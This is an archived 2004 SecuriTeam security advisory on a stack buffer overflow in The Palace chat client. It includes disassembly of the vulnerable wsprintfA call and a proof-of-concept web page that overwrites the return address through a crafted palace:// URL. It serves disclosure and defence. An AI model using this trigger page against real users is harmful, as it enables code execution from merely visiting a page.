

# [NT] The Palace Stack Overflow Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0016.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 02/09/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 9 Feb 2004 11:45:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

The Palace Stack Overflow Vulnerability

---

## SUMMARY

<<http://www.thepalace.com/>> The Palace is "a FREE graphical chat. Create and wear your own picture (avatar). Build your very own chat server". A stack-based vulnerability in the product allows remote attacker to cause the program to execute arbitrary code by specially constructing a URL.

## DETAILS

Vulnerable systems:

- \* The Palace version 3.5 and prior

Stack-based Buffer Overflow

When using the Palace chat software, it is immediately obvious that the most common and efficient method of allowing users to join a specific chat server is to construct a special hyperlink which will automatically load the application and cause it to connect to the specified location.

These hyperlinks are constructed as follows:

palace://some.machine:9998/

The port may be omitted from the URL if the server is running on the default port 9998/tcp.

## Securiteam: [NT] The Palace Stack Overflow Vulnerability

A stack-based buffer overflow condition can be caused to take effect when a user of the Palace chat software visits a link similar to the following:  
palace://('a'x118)('BBBB')('XXXX')

In the above URL, a saved base pointer is overwritten with 42424242h, and a saved return address is overwritten with 58585858h

### Part of the Vulnerable Code

From a quick look at the Palace chat application, it is evident that the overflow is the result of a dangerous call to 'wsprintfA'.

The saved return address that is overwritten is placed on the stack by an instruction found at 004081D7:

```
004081D7 |. E8 1DA4FFFF CALL Palace32.004025F9
004081DC |. 59 POP ECX
..
004025F9 $ E9 9CC00000 JMP Palace32.0040E69A
```

Within the procedure beginning at 0040E69A, at offset 0040E745 the address of wsprintfA is loaded into the esi register. At 0040E78A a buffer of 84h (132 bytes) is designated to hold the formatted output from calling wsprintfA (the actual formatting string being used is "Connecting to %s:%d"). Then, at 0040E792, the fatal call is made!

```
0040E745 |. 8B35 ACC04900 MOV ESI,DWORD PTR DS:[<&USER32.wsprintfA>]
..
0040E78A |. 8D85 7CFFFFFF LEA EAX,DWORD PTR SS:[EBP-84]
0040E790 |. 53 PUSH EBX
0040E791 |. 50 PUSH EAX
0040E792 |. FFD6 CALL ESI
```

If an overly long server address is specified in the URL (as the '%s' formatting argument), the 132-byte buffer is overflowed, and the saved return address from 004081D7 is completely overwritten.

When the function returns, at line 0040E7FA, code execution resumes from an arbitrary address that an attacker can supply.

```
0040E7F7 |> 5F POP EDI
0040E7F8 |. 5E POP ESI
0040E7F9 |. C9 LEAVE
0040E7FA \. C3 RETN
```

### Proof of Concept Code

The nature of this flaw allows exploitation to take place from simply viewing a specially crafted web page. Below is such a page that will cause an access violation when attempting to execute code located at 58585858h.

```
-----[badpage.html]-----
< html>
```

Securiteam: [NT] The Palace Stack Overflow Vulnerability

```
< body>  
< script>  
window.open("palace://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBBBBBBXX  
")  
</script>  
</body>  
</html>
```

---

Please remove any line-breaks that occur during the re-formatting of the overly long server address string by Peter's email client otherwise the crash will probably not go as planned.

ADDITIONAL INFORMATION

The information has been provided by <mailto:peter4020@hotmail.com> Peter Winter-Smith.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

DISCLAIMER:  
The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.